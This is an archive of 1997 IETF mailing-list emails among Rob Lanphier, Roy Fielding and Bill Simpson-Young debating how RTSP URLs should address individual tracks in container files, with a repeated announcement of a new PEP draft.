Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 15 Jul 1997 13:44:24 +1000
From: Bill Simpson-Young <bill@syd.dit.csiro.au>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob,

> A promenent proposal for achieving this is as follows:
> Full Container file:
> rtsp://foo.com/example.mov

Ideally, people won't do this but would do rtsp://foo.com/example and 
leave the type up to content negotiation.

> 
> Individual Track within container file:
> rtsp://foo.com/example.mov?track=1
> (the "track=1" portion is file format specific, the "?" is the consistant
> part).

If format-specific info is to be included in a specific RTSP URL, then it 
makes sense to allow an HTTP-style query part for the specification of 
this but the internal syntax of that part should be outside the scope of 
the scheme.  However, I think there is a need for the standardisation of 
some RTSP scheme- dependent semantics for commonly-used properties so that 
it is rarely necessary to resort to format-dependent references.  Eg in 
this case, one should probably use something like "track=audio1" (but this 
wouldn't be in the query part of the URL - see below).

> ...
>
> The URL scheme, taken from Roy Fielding's draft on the subject
> (draft-fielding-url-syntax-05.txt) is something we'll have to consider very
> seriously in all of this.  The URL syntax there is:
> <scheme>://<site>/<path>?<query>#<fragmentid>
> 
> The problem with that scheme is that "fragmentid" is really "client-side
> fragment id".  What we really need is a server side fragment id as well.
> 
> <scheme>://<site>/<path>?<query>:<ssfrag>#<fragmentid>

In RFC 1808, the URL syntax is 

<scheme>://<net_loc>/<path>;<params>?<query>#<fragment>

where "params   ::= object parameters (e.g., ";type=a" as in
                       Section 3.2.2 of RFC 1738 [2])."

Why not use params which is intended for this purpose?  I know the 
"params" isn't used in the HTTP scheme but the disadvantages of using ? 
and # are great enough that it's better to use params than stay close to 
the HTTP scheme.

> The point here is to make it as simple as possible for a server to add and
> subtract fragments from the server-side fragment portion.  If this is
> buried in the query, it's very difficult.  If it is clearly delimited and
> hanging off of the end, it's really straightforward.

I agree.


Bill


From majordom@ISI.EDU  Tue Jul 15 02:50:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16722>; Tue, 15 Jul 1997 09:52:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16709>; Tue, 15 Jul 1997 09:52:30 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA19883>; Tue, 15 Jul 1997 09:52:29 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA14125
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 15 Jul 1997 09:57:09 -0700
Message-Id: <3.0.32.19970715095024.01322938@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 15 Jul 1997 09:50:28 -0700
To: bill.simpson-young@cmis.csiro.au (Bill Simpson-Young)
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Format of RTSP URLs 
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:44 PM 7/15/97 +1000, Bill Simpson-Young wrote:
>robla wrote:
>> ...
>> The URL scheme, taken from Roy Fielding's draft on the subject
>> (draft-fielding-url-syntax-05.txt) is something we'll have to consider very
>> seriously in all of this.  The URL syntax there is:
>> <scheme>://<site>/<path>?<query>#<fragmentid>
>> 
>> The problem with that scheme is that "fragmentid" is really "client-side
>> fragment id".  What we really need is a server side fragment id as well.
>> 
>> <scheme>://<site>/<path>?<query>:<ssfrag>#<fragmentid>
>
>In RFC 1808, the URL syntax is 
>
><scheme>://<net_loc>/<path>;<params>?<query>#<fragment>
>
>where "params   ::= object parameters (e.g., ";type=a" as in
>                       Section 3.2.2 of RFC 1738 [2])."
>
>Why not use params which is intended for this purpose?  I know the 
>"params" isn't used in the HTTP scheme but the disadvantages of using ? 
>and # are great enough that it's better to use params than stay close to 
>the HTTP scheme.

I think this may be acceptable, but there's one other possible requirement
I'd like to mention.  It would be nice to have the ability to have relative
URLs, so that, for example, the following scenario can play out (using ":"
as a server side fragment identifier for the time being)

C->S  DESCRIBE rtsp://foo/db/moviebase?movie=twister RTSP/1.0 1

S->C  RTSP/1.0 200 1 OK
      Content-length: 178
      Content-type: application/sdp

      s= sample rtsp presentation
      r = rtsp://foo/db/moviebase?movie=twister   /* aggregate URL*/
      m= audio 0 RTP/AVP 0
      r = :track=audio1                           /* URL to control audio*/
      m=video 0 RTP?AVP 26
      r = :track=video1                           /* URL to control video*/

At this point, the client can easily discern that the audio track and the
video track are indeed merely fragments of the same object on the server,
and not separately controlled entities.  I'm not sure how this would work
with ";" parameters, since the relative behavior defined in 1808 is
different than what I'd expect above (which is more akin to "#").

One way to route around this is to always use absolute URLs, but I think
that would be slightly more prone to error.


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Tue Jul 15 03:28:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19949>; Tue, 15 Jul 1997 10:42:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19941>; Tue, 15 Jul 1997 10:41:55 -0700
Received: from paris.ics.uci.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA22468>; Tue, 15 Jul 1997 10:41:45 -0700
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa01032;
          15 Jul 97 10:40 PDT
To: Rob Lanphier <robla@prognet.com>
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Subject: Re: Format of RTSP URLs 
In-Reply-To: Your message of "Mon, 14 Jul 1997 20:07:26 PDT."
             <3.0.32.19970714200724.011aeb24@mail.prognet.com> 
Date: Tue, 15 Jul 1997 10:28:52 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707151040.aa01032@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Without getting into too much depth about the protocol itself, we are
>trying to sort out how the protocol should handle multi-stream container
>files (ala Quicktime, ASF, RealMedia File Format, which often contain both
>audio and video streams, and may contain many other types).  It is the
>consensus that it is important for the protocol to deal in a distinct
>manner with the different streams.  The controversy stems from if/how the
>URL is used to achieve this.
>
>A promenent proposal for achieving this is as follows:
>Full Container file:
>rtsp://foo.com/example.mov
>
>Individual Track within container file:
>rtsp://foo.com/example.mov?track=1
>(the "track=1" portion is file format specific, the "?" is the consistant
>part).
>
>The issues we are debating are:
>1.  Whether the protocol should make special accomodations for multistream
>container files
>2.  If yes, if/how should that be expressed in the URL

If we were talking about URLs in general, then you could do whatever
you want within the constraints of the urlc character set.  Even with
hierarchical URLs, there is complete freedom as to the syntax within
the path and query.  HTTP does distinguish between the path (which
defines the resource) and query, but that is due more to particularities
of the implementations rather than any hard requirement of the protocol.

The URL spec only defines those parts of the hierarchical syntax that
effect the parsing of relative URL references, since that parsing must
be scheme-independent.  Outside those requirements, the spec allows a URL
scheme to define its own reserved syntax as it wishes.  However, it is
assumed that if hierarchy is important, then "/" will be used to separate
hierarchical segments.

If the server is always providing the URL, then the URL syntax of
subparts of a particular resource can be left to the server.  In other
words, unless the client is allowed to "munge" the URL in order to
directly access a subtrack of that URL's resource, then the server
should decide what syntax to use.  Naturally, I would prefer

    rtsp://foo.com/example.mov/track-1

since a track is itself a resource.

If the client is expected to do URL munging, then you will have to
standardize a syntax for rtsp.  Again, for rtsp, you could choose
anything as the standard.  However, if your *real* concern is that
the syntax be usable by existing platforms with a CGI-like interface,
then there are only two reasonable alternatives:

    rtsp://foo.com/example.mov/track-1       (extra path)
    rtsp://foo.com/example.mov?track=1       (query parameter)

Using ";" was an idea of mine that can be seen in RFC 1808, but
was never supported by HTTP servers.

>I'm going to switch here to representing myself and Progressive Networks.
>Here's the concern that we have.  "?" is used in HTTP as the query
>delimiter, and the "?track=1" use isn't consistant with that.

It is only inconsistent if you want to treat the track as a resource,
and not as just a retrieval operation on a larger resource.  Using
extra path information does not suffer from this limitation, but
only works when the extra segments are hierarchical in nature.
Containers are hierarchical in nature.

>*  We want the authoring scenarios to be protocol independent.  If someone
>goes through the trouble of writing the media metafile and web page which has
>different streams from the same container showing up on different parts of
>the page, we want that metafile to be the same whether or not the content
>is actaully being streamed via RTSP or HTTP.

I assume that you mean RTSP would respond with the container's streams
and HTTP would respond with the metafile, which the client would read
and make separate requests for the individual streams.

>The problem with that scheme is that "fragmentid" is really "client-side
>fragment id".  What we really need is a server side fragment id as well.
>
><scheme>://<site>/<path>?<query>:<ssfrag>#<fragmentid>
>
>This server-side fragment id would allow the client to play around with the
>URL without messing up the query portion.  ":" is presented only as a
>strawman.  I'm not sure what the correct character would be here.

Traditionally, the only thing the client can "play around with" is
the query part.  It would be syntactically ambiguous to append another
component to the query.  The ";param=value" syntax of RFC 1808 was only
possible because the URI spec had traditionally defined ";" as being
reserved in the path.  However, that was found not to be true in practice.

>The point here is to make it as simple as possible for a server to add and
>subtract fragments from the server-side fragment portion.  If this is
>buried in the query, it's very difficult.  If it is clearly delimited and
>hanging off of the end, it's really straightforward.

That is a severely weak argument.  On a server like Apache or NCSA,
it is actually easier to process that information if it is part of
an extra path and not tagged onto query.  The best syntax for an
existing server will be highly dependent on how the server manages
its namespace, which means the best syntax is one that fits within
the logical structure of a namespace.


 ...Roy T. Fielding
    Department of Information & Computer Science    (fielding@ics.uci.edu)
    University of California, Irvine, CA 92697-3425    fax:+1(714)824-1715
    http://www.ics.uci.edu/~fielding/

From majordom@ISI.EDU  Tue Jul 15 04:03:09 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22277>; Tue, 15 Jul 1997 11:21:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22268>; Tue, 15 Jul 1997 11:21:04 -0700
Received: from paris.ics.uci.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA25968>; Tue, 15 Jul 1997 11:21:02 -0700
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa06322;
          15 Jul 97 11:14 PDT
To: Rob Lanphier <robla@prognet.com>
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Subject: Re: Format of RTSP URLs 
In-Reply-To: Your message of "Tue, 15 Jul 1997 09:50:28 PDT."
             <3.0.32.19970715095024.01322938@mail.prognet.com> 
Date: Tue, 15 Jul 1997 11:03:09 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707151114.aa06322@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>I think this may be acceptable, but there's one other possible requirement
>I'd like to mention.  It would be nice to have the ability to have relative
>URLs, so that, for example, the following scenario can play out (using ":"
>as a server side fragment identifier for the time being)
>
>C->S  DESCRIBE rtsp://foo/db/moviebase?movie=twister RTSP/1.0 1
>
>S->C  RTSP/1.0 200 1 OK
>      Content-length: 178
>      Content-type: application/sdp
>
>      s= sample rtsp presentation
>      r = rtsp://foo/db/moviebase?movie=twister   /* aggregate URL*/
>      m= audio 0 RTP/AVP 0
>      r = :track=audio1                           /* URL to control audio*/
>      m=video 0 RTP?AVP 26
>      r = :track=video1                           /* URL to control video*/
>
>At this point, the client can easily discern that the audio track and the
>video track are indeed merely fragments of the same object on the server,
>and not separately controlled entities.  I'm not sure how this would work
>with ";" parameters, since the relative behavior defined in 1808 is
>different than what I'd expect above (which is more akin to "#").

Those relative URLs would resolve to

      rtsp://foo/db/:track=audio1
      rtsp://foo/db/:track=video1

which is obviously not what you would want.  Query info and relative
references do not mix in practice.  In any case, using query info to
select a resource, as opposed to redirecting to the real resource URL,
is poor namespace management.

....Roy

From majordom@ISI.EDU  Tue Jul 15 04:52:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24942>; Tue, 15 Jul 1997 11:55:26 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA24936>; Tue, 15 Jul 1997 11:55:25 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA29566>; Tue, 15 Jul 1997 11:54:58 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA27475
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 15 Jul 1997 11:59:28 -0700
Message-Id: <3.0.32.19970715115243.013248c8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 15 Jul 1997 11:52:44 -0700
To: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Format of RTSP URLs 
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 11:03 AM 7/15/97 -0700, Roy T. Fielding wrote:
>robla wrote:
>>I think this may be acceptable, but there's one other possible requirement
>>I'd like to mention.  It would be nice to have the ability to have relative
>>URLs, so that, for example, the following scenario can play out (using ":"
>>as a server side fragment identifier for the time being)
>>
>>C->S  DESCRIBE rtsp://foo/db/moviebase?movie=twister RTSP/1.0 1
>>
>>S->C  RTSP/1.0 200 1 OK
>>      Content-length: 178
>>      Content-type: application/sdp
>>
>>      s= sample rtsp presentation
>>      r = rtsp://foo/db/moviebase?movie=twister   /* aggregate URL*/
>>      m= audio 0 RTP/AVP 0
>>      r = :track=audio1                           /* URL to control audio*/
>>      m=video 0 RTP?AVP 26
>>      r = :track=video1                           /* URL to control video*/
>>
>>At this point, the client can easily discern that the audio track and the
>>video track are indeed merely fragments of the same object on the server,
>>and not separately controlled entities.  I'm not sure how this would work
>>with ";" parameters, since the relative behavior defined in 1808 is
>>different than what I'd expect above (which is more akin to "#").
>
>Those relative URLs would resolve to
>
>      rtsp://foo/db/:track=audio1
>      rtsp://foo/db/:track=video1
>
>which is obviously not what you would want.  

I'm not aware that there is currently a spec for server-side fragments (and
colons beyond the port position of an URL), which is what I'm suggesting is
a necessary feature for relative URLs to work.  I would expect that the
rules that apply to client-side fragments ("#whatever") would also apply to
server-side fragments.

I'd suggest they resolve to the following:
     rtsp://foo/db/moviebase?movie=twister:track=audio1
     rtsp://foo/db/moviebase?movie=twister:track=video1

...just as if you were to replace ":" with "#".  The colon may be a bit
overloaded here, and may be too easily confused with semicolon, so perhaps
a better separator is in order.  However, I'm at a loss to come up with
such a beast.

>Query info and relative
>references do not mix in practice.

I don't think it is much of a stretch to say:
http://foo.com/cgi-bin/blah.pl?param1=blah

...which returns some html with:

<a href="#top">

...in it.  Isn't this done all of the time?

> In any case, using query info to
>select a resource, as opposed to redirecting to the real resource URL,
>is poor namespace management.

It may be the case that the real resource is stored in a database that must
be accessed via query.  



---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Tue Jul 15 05:18:41 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28863>; Tue, 15 Jul 1997 12:40:18 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28857>; Tue, 15 Jul 1997 12:40:16 -0700
Received: from paris.ics.uci.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA02931>; Tue, 15 Jul 1997 12:40:13 -0700
Received: from kiwi.ics.uci.edu by paris.ics.uci.edu id aa13146;
          15 Jul 97 12:29 PDT
To: Rob Lanphier <robla@prognet.com>
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Subject: Re: Format of RTSP URLs 
In-Reply-To: Your message of "Tue, 15 Jul 1997 11:52:44 PDT."
             <3.0.32.19970715115243.013248c8@mail.prognet.com> 
Date: Tue, 15 Jul 1997 12:18:41 -0700
From: "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Message-Id:  <9707151229.aa13146@paris.ics.uci.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>I'm not aware that there is currently a spec for server-side fragments (and
>colons beyond the port position of an URL), which is what I'm suggesting is
>a necessary feature for relative URLs to work.  I would expect that the
>rules that apply to client-side fragments ("#whatever") would also apply to
>server-side fragments.

Except that they don't.  You can't just invent a new syntax because
it is convenient to do so -- existing implementations must be taken
into account, and for all existing implementations

>     rtsp://foo/db/moviebase?movie=twister:track=audio1

has a query part of "movie=twister:track=audio1" because ":" is not
a reserved character within the query portion of a URL.  Furthermore,
the scheme-independent relative URL resolution algorithm calls for the
query component of the base URL to be stripped off BEFORE it is
used for relative resolution, since that is what current practice does.
It is therefore impossible for us to introduce such a component to the
URL syntax.

>> In any case, using query info to
>>select a resource, as opposed to redirecting to the real resource URL,
>>is poor namespace management.
>
>It may be the case that the real resource is stored in a database that must
>be accessed via query.  

Then the query should return a redirect to a new URL, or the namespace
should be structured such that it maps into a database query.  There is
no significant difference between the server-side implementations of

    rtsp://foo/db/moviebase?movie=twister:track=audio1
and
    rtsp://foo/db/moviebase/twister/track=audio1

It is merely an issue of how the server manages its namespace.
If you want to use relative forms, you must use the latter syntax.

....Roy

From majordom@ISI.EDU  Tue Jul 15 13:41:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06477>; Tue, 15 Jul 1997 14:41:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06468>; Tue, 15 Jul 1997 14:41:31 -0700
Received: from www10.w3.org by venera.isi.edu (5.65c/5.61+local-29)
	id <AA09838>; Tue, 15 Jul 1997 14:41:29 -0700
Received: from big (big.w3.org [18.29.0.116]) by www10.w3.org (8.8.5/8.7.3) with SMTP id RAA29330; Tue, 15 Jul 1997 17:41:20 -0400 (EDT)
X-Authentication-Warning: www10.w3.org: Host big.w3.org [18.29.0.116] claimed to be big
Message-Id: <3.0.3.32.19970715174119.00c0d910@pop.w3.org>
X-Sender: frystyk@pop.w3.org
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Tue, 15 Jul 1997 17:41:19 -0400
To: <http-wg@cuckoo.hpl.hp.com>, confctrl@ISI.EDU, w3c-http@w3.org
From: Henrik Frystyk Nielsen <frystyk@w3.org>
Subject: New version of PEP specification available
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


A new PEP draft is ready - I have submitted it as an ID today and also as
an W3C WD. You can find it in both txt, html, and ps as

	http://www.w3.org/TR/WD-http-pep-970714.txt
	http://www.w3.org/TR/WD-http-pep-970714.html
	http://www.w3.org/TR/WD-http-pep-970714.ps

You can also find information about PEP at

	http://www.w3.org/Protocols/PEP/

Thanks for the input on the previous PEP - you know who you are!

The main new feature is that the mode of "long lived" mappings no longer is
there as it was too hard to get to work through a proxy. A PEP extension
declaration is now for a single message, which makes all extended messages
understandable by any other PEP agent.

Another new feature is that the mapping of PEP into HTTP/1.1 has been made
explicit so that it is clear what is part of the PEP model and what is part
of the mapping.

Eric Prud'hommeaux will be able to give out some demo code shortly which
will demonstrate the functionality of PEP.

Please read and comment! I will try and get input incorporated into the
draft before the July 30 dead line for submissions for the Munich IETF
meeting.

	http://www.ietf.org/meetings/Munich.html

Thanks,

Henrik
--
Henrik Frystyk Nielsen, <frystyk@w3.org>
World Wide Web Consortium
http://www.w3.org/People/Frystyk

From majordom@ISI.EDU  Tue Jul 15 13:41:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06477>; Tue, 15 Jul 1997 14:41:35 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06468>; Tue, 15 Jul 1997 14:41:31 -0700
Received: from www10.w3.org by venera.isi.edu (5.65c/5.61+local-29)
	id <AA09838>; Tue, 15 Jul 1997 14:41:29 -0700
Received: from big (big.w3.org [18.29.0.116]) by www10.w3.org (8.8.5/8.7.3) with SMTP id RAA29330; Tue, 15 Jul 1997 17:41:20 -0400 (EDT)
X-Authentication-Warning: www10.w3.org: Host big.w3.org [18.29.0.116] claimed to be big
Message-Id: <3.0.3.32.19970715174119.00c0d910@pop.w3.org>
X-Sender: frystyk@pop.w3.org
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Tue, 15 Jul 1997 17:41:19 -0400
To: <http-wg@cuckoo.hpl.hp.com>, confctrl@ISI.EDU, w3c-http@w3.org
From: Henrik Frystyk Nielsen <frystyk@w3.org>
Subject: New version of PEP specification available
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


A new PEP draft is ready - I have submitted it as an ID today and also as
an W3C WD. You can find it in both txt, html, and ps as

	http://www.w3.org/TR/WD-http-pep-970714.txt
	http://www.w3.org/TR/WD-http-pep-970714.html
	http://www.w3.org/TR/WD-http-pep-970714.ps

You can also find information about PEP at

	http://www.w3.org/Protocols/PEP/

Thanks for the input on the previous PEP - you know who you are!

The main new feature is that the mode of "long lived" mappings no longer is
there as it was too hard to get to work through a proxy. A PEP extension
declaration is now for a single message, which makes all extended messages
understandable by any other PEP agent.

Another new feature is that the mapping of PEP into HTTP/1.1 has been made
explicit so that it is clear what is part of the PEP model and what is part
of the mapping.

Eric Prud'hommeaux will be able to give out some demo code shortly which
will demonstrate the functionality of PEP.

Please read and comment! I will try and get input incorporated into the
draft before the July 30 dead line for submissions for the Munich IETF
meeting.

	http://www.ietf.org/meetings/Munich.html

Thanks,

Henrik
--
Henrik Frystyk Nielsen, <frystyk@w3.org>
World Wide Web Consortium
http://www.w3.org/People/Frystyk

From majordom@ISI.EDU  Thu Jul 17 23:09:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12804>; Wed, 16 Jul 1997 20:10:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12798>; Wed, 16 Jul 1997 20:10:18 -0700
Received: from alba.syd.dit.CSIRO.AU by venera.isi.edu (5.65c/5.61+local-29)
	id <AA01861>; Wed, 16 Jul 1997 20:10:13 -0700
Received: from syd.dit.csiro.au by alba.syd.dit.CSIRO.AU (8.6.12/1.06S)
	id NAA17902; Thu, 17 Jul 1997 13:09:50 +1000
Message-Id: <199707170309.NAA17902@alba.syd.dit.CSIRO.AU>
X-Mailer: exmh version 1.6.9 8/22/96
To: Rob Lanphier <robla@prognet.com>
Subject: Re: Format of RTSP URLs 
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Reply-To: bill.simpson-young@cmis.csiro.au (Bill Simpson-Young)
In-Reply-To: Your message of Tue, 15 Jul 1997 09:50:28 -0700.
	     <3.0.32.19970715095024.01322938@mail.prognet.com> 
X-Internet: bill.simpson-young@cmis.csiro.au
X-Snail: CSIRO DIT, Locked Bag 17, North Ryde NSW 2113, Australia
X-Phone: (+61 2) 325-3155 Fax: (+61 2) 325-3200
X-Uri: http://www.syd.dit.csiro.au/staff/bill
X-Face: "GS>_j9\.pW;Cs*01=u*o'&mic%_7Hxyz&_UR6{$Ai95Hc5,xn-jf-Z7"njhC<(@`Vr%Nrl
	&x/|0G%DtL\XmNdIo|eMF,W"ci_a\Z=#aSs+&$5Ia:/$@{'i:T.U]^2l!NarQF+Ldb.
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 17 Jul 1997 13:09:39 +1000
From: Bill Simpson-Young <bill@syd.dit.csiro.au>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


robla wrote:
> C->S  DESCRIBE rtsp://foo/db/moviebase?movie=twister RTSP/1.0 1
> 
> S->C  RTSP/1.0 200 1 OK
>       Content-length: 178
>       Content-type: application/sdp
> 
>       s= sample rtsp presentation
>       r = rtsp://foo/db/moviebase?movie=twister   /* aggregate URL*/
>       m= audio 0 RTP/AVP 0
>       r = :track=audio1                           /* URL to control audio*/
>       m=video 0 RTP?AVP 26
>       r = :track=video1                           /* URL to control video*/

I don't think this example would be a common one as surely, in practice, 
HTTP will be used to retrieve the SDP info rather than RTSP.  There are a 
load of advantages to using HTTP (eg access to the SDP data by existing 
robots, use of streaming control protocols other than rtsp, etc) and there 
would be even more advantages if later there is an XML DTD corresponding 
to SDP (eg human readability of the metadata).

I realise that the idea is to allow applications to use either protocol to 
do the bootstrapping but I still can't really see the point in using RTSP 
for this. I guess the advantage of using RTSP for the SDP data is that you 
can run just the RTSP server on the media server without the need for a 
separate HTTP server and without the need for the RTSP server to support 
HTTP but I would have thought that you'd usually want the SDP info to come 
from a different box anyhow which is running the metadata database and can 
run just an HTTP server.  I would have thought the use of RTSP for getting 
discrete data would be the exception rather than the rule and the 
incorporation of HTTP support in any RTSP servers that want to support 
this would be a better approach.

If I'm right, then this will have an impact on relative URLs specified in 
SDP (or some XML version of it) as they would be HTTP URLs not RTSP ones 
unless some form of base tag is used in the SDP data. Either way I agree 
with Roy about the specification of tracks using the path itself (using 
"/").  So, regardless of whether we're using container file formats or 
separate tracks in separate files, the respective URLs could be:

http://foo/db/moviebase/twister          (for the bootstrapping info)
rtsp://foo/db/moviebase/twister/video1
rtsp://foo/db/moviebase/twister/audio1

and we could have the following (using an imaginary XML DTD for the 
bootstrapping info):

C->S  GET http://foo/db/moviebase/twister HTTP/1.1

(if this was from a query you would have had a redirect stage before this 
as suggested by Roy)

S->C  HTTP/1.1 200 1 OK
      Content-length: 178
      Content-type: text/foo

      <?XML version="1.0"?>
      <!DOCTYPE foo SYSTEM "http://foo/foo.dtd">
      <session base="rtsp://foo/db/moviebase/twister"/>
      <summary>Sample RTSP Presentation</summary>
      <media type="audio" location="audio1" ... />
      <media type="video" location="video1" ... />
      </session>


Bill


From majordom@ISI.EDU  Wed Jul 16 15:16:06 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16585>; Wed, 16 Jul 1997 22:18:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16572>; Wed, 16 Jul 1997 22:18:26 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA13090>; Wed, 16 Jul 1997 22:18:26 -0700
Received: from robla.dev.prognet.com (mg-20425425-204.ricochet.net) by murrow.prognet.com with SMTP id AA26546
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 16 Jul 1997 22:23:00 -0700
Message-Id: <3.0.32.19970716221559.012d9dd4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 16 Jul 1997 22:16:06 -0700
To: bill.simpson-young@cmis.csiro.au (Bill Simpson-Young)
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Format of RTSP URLs 
Cc: www-talk@w3.org, uri@bunyip.com, confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 01:09 PM 7/17/97 +1000, Bill Simpson-Young wrote:
>robla wrote:
>> C->S  DESCRIBE rtsp://foo/db/moviebase?movie=twister RTSP/1.0 1
>> 
>> S->C  RTSP/1.0 200 1 OK
>>       Content-length: 178
>>       Content-type: application/sdp
>> 
>>       s= sample rtsp presentation
>>       r = rtsp://foo/db/moviebase?movie=twister   /* aggregate URL*/
>>       m= audio 0 RTP/AVP 0
>>       r = :track=audio1                           /* URL to control audio*/
>>       m=video 0 RTP?AVP 26
>>       r = :track=video1                           /* URL to control video*/
>
>I don't think this example would be a common one as surely, in practice, 
>HTTP will be used to retrieve the SDP info rather than RTSP.  

I very sincerely beg to differ.  In practice, there are a lot of datatypes
that need more initialization information than you would expect a content
author to get right in their hand-authored portion.  This is bound pretty
intricately to the media file itself, and therefore should be served by the
media server.  This is in fact how we are implementing this (and have
implemented it in our RealMedia developer betas).

This idea was brought up once before on confctrl, in a message from Brad
Hefta-Gaub, one of our RealMedia development leads:

http://www.mbone.com/lists/confctrl.1997/0339.html

>If I'm right, then this will have an impact on relative URLs specified in 
>SDP (or some XML version of it) as they would be HTTP URLs not RTSP ones 
>unless some form of base tag is used in the SDP data. Either way I agree 
>with Roy about the specification of tracks using the path itself (using 
>"/").  So, regardless of whether we're using container file formats or 
>separate tracks in separate files, the respective URLs could be:
>
>http://foo/db/moviebase/twister          (for the bootstrapping info)
>rtsp://foo/db/moviebase/twister/video1
>rtsp://foo/db/moviebase/twister/audio1
>
>and we could have the following (using an imaginary XML DTD for the 
>bootstrapping info):
>
>C->S  GET http://foo/db/moviebase/twister HTTP/1.1
>
>(if this was from a query you would have had a redirect stage before this 
>as suggested by Roy)
>
>S->C  HTTP/1.1 200 1 OK
>      Content-length: 178
>      Content-type: text/foo
>
>      <?XML version="1.0"?>
>      <!DOCTYPE foo SYSTEM "http://foo/foo.dtd">
>      <session base="rtsp://foo/db/moviebase/twister"/>
>      <summary>Sample RTSP Presentation</summary>
>      <media type="audio" location="audio1" ... />
>      <media type="video" location="video1" ... />
>      </session>

There is a lot of work going on in this area.  We have an SGML-based
metafile language that looks very similar to this actually called RTSL
which is included in the RealMedia SDK (see http://www.real.com/rma for
more details).  However, we don't require content authors to place all of
the media initialization information into their presentations, which leads
us to rely on DESCRIBE to get the bulk of the parameters.  We instead use
this metafile as a means of providing high-level sequencing, selection, and
synchronization, and for mapping stream components onto layout components.

Rob


